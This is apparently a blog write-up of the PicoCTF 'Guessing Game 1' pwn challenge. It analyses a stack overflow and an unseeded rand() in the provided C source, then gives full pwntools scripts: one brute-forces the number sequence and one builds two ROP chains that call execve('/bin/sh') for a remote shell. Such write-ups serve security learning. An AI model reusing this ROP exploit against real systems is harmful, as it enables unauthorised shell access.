PicoCTF - Guessing Game 1 [Pwn]

Massimiliano Pellizzer
5 min readJul 21, 2021

Introduction

“Guessing Game 1” is a pwn challenge of PicoCTF.

First Considerations

The first thing I did, in order to tackle the challenge, was to gather some general information about the binary provided by the challenge itself.

General information about the program and its security measures

Interestingly, the 64-bit executable is statically linked, this can only mean two things:

  • The program does nearly nothing
  • The program contains all the function it needs, including the functions that usually are implemented inside the Libc (this implies also that the binary is able to provide us a lot of gadgets!)

With regard to the security measures, I noticed a contradiction: the pwntools detected a canary, while the makefile provided by the challenge specify that the stack is no proteceted.

Makefile

Therefore, I assumed that the only security measure implemented was the no-execute bit (no shellcode this time).

Code Analysis

The challenge provided the source code of the binary, therefore I was able to let Ghidra sleep (thank God).

The source code of the challenge is the following one:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define BUFSIZE 100long increment(long in) {
return in + 1;
}
long get_random() {
return rand() % BUFSIZE;
}
int do_stuff() {
long ans = get_random();
ans = increment(ans);
int res = 0;

printf("What number would you like to guess?\n");
char guess[BUFSIZE];
fgets(guess, BUFSIZE, stdin);

long g = atol(guess);
if (!g) {
printf("That's not a valid number!\n");
} else {
if (g == ans) {
printf("Congrats! You win! Your prize is this print statement!\n\n");
res = 1;
} else {
printf("Nope!\n\n");
}
}
return res;
}
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
fgets(winner, 360, stdin);
printf("Congrats %s\n\n", winner);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);

int res;

printf("Welcome to my guessing game!\n\n");

while (1) {
res = do_stuff();
if (res) {
win();
}
}

return 0;
}

I was immediately able to identify a huge buffer overflow inside the win() function. Indeed the function tries to store a 360-byte string inside a buffer of 100-byte. However, in order to reach the win() function, it is necessary to guess what is seems to be a randomly generated number. Luckily, I noticed that the program does not provide a dynamic seed to the rand() function, therefore the random sequence of number generated is the same for each execution.

Brute-force the Random Sequence

In order to brute-force the random sequence generated by the rand() I wrote a simple python script that works both locally and remotely.

#!/bin/python3from pwn import *class bcolors:
GREEN = '\u001b[32m'
RED = '\u001b[31m'
ENDC = '\033[0m'
HOST = 'jupiter.challenges.picoctf.org'
PORT = <port>
random_sequence = []print(f'\n\t\t\t{bcolors.GREEN}### CRACKING THE RANDOM SEQUENCE ###{bcolors.ENDC}\n')for i in range(<number of elements to crack>):
for j in range(1,101):
r = remote(HOST, PORT)
for number in random_sequence:
r.recvuntil(b'What number would you like to guess?\n')
r.sendline(str(number).encode())
r.recvuntil(b'Name? ')
r.sendline(b'whitesnake')
r.recvuntil(b'What number would you like to guess?\n')
r.sendline(str(j).encode())
response = r.recvline()
if b'Nope' not in response:
random_sequence.append(j)
print(f'{bcolors.RED}--- '+str(i+1)+f' CRACKED ['+str(j)+f']{bcolors.ENDC}')
r.close()
break
r.close()
print(f'\n\t\t\t{bcolors.GREEN}### RANDOM SEQUENCE FOUND ###{bcolors.ENDC}\n')
print(random_sequence)

The random sequence I found was: 84, 87, 78, 16, 94 …

Exploitation: General Idea

Because of the huge amount of gadgets present in the binary, the plan to exploit the program was pretty straightforward:

  • Leverage one ROPchain to write the string “/bin/sh\x00” inside a writable memory segment
  • Jump to the first instruction of the main in order to exploit the buffer overflow a second time
  • Leverage a second ROPchain to call execve(“/bin/sh”, 0x0, 0x0) and therefore to get a remote shell

Exploitation: Implementation

In order to craft the two ROPchains I needed the following local gadgets/addresses:

  • A “pop rax; ret” gadget
  • A “pop rdi; ret” gadget
  • A “pop rsi; ret” gadget
  • A “pop rdx; ret” gadget
  • A “syscall” gadget
  • The address of the read() function
  • The address of the first instruction of the main function
  • An address belonging to a writable segment of memory

I found nearly all these elements by using ROPgadget, but I used GDB in order to get the address of a writable memory segment:

Vmmap

As always, I used cyclic in order to find the right padding that allowed me to take control of the instruction pointer.

Then, I wrote the following script to exploit the program remotely:

#!/bin/python3from pwn import *HOST = 'jupiter.challenges.picoctf.org'
PORT = <port>
EXE = './vuln'
r = remote(HOST, PORT)elf = ELF(EXE)main = 0x400c8c
pop_rax = 0x4163f4
pop_rdi = 0x400696
pop_rsi = 0x410ca3
pop_rdx = 0x44a6b5
syscall = 0x40137c
bss = 0x6bc4a0
read = elf.symbols['read']
random_sequence = [84, 87, 78, 16, 94]r.recvuntil(b'What number would you like to guess?\n')
r.sendline(str(random_sequence[0]).encode())
r.recvuntil(b'Name? ')
payload = b'\x90'*120
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(bss)
payload += p64(pop_rdx)
payload += p64(9)
payload += p64(read)
payload += p64(main)
r.sendline(payload)input('The program has been exploited. Press ENTER to get a remote shell...')r.sendline(b'/bin/sh\x00')r.recvuntil(b'What number would you like to guess?\n')
r.sendline(str(random_sequence[1]).encode())
r.recvuntil(b'Name? ')
payload = b'\x90'*120
payload += p64(pop_rax)
payload += p64(0x3b)
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)
r.sendline(payload)r.interactive()

Once I executed the script, I was able to obtain a shell attached to the remote server and therefore I was able to extract the flag:

Flag

Pwned!

--

--

Massimiliano Pellizzer

My journey starts with a passion for cybersecurity and has evolved into an interest in operating systems and system-level programming.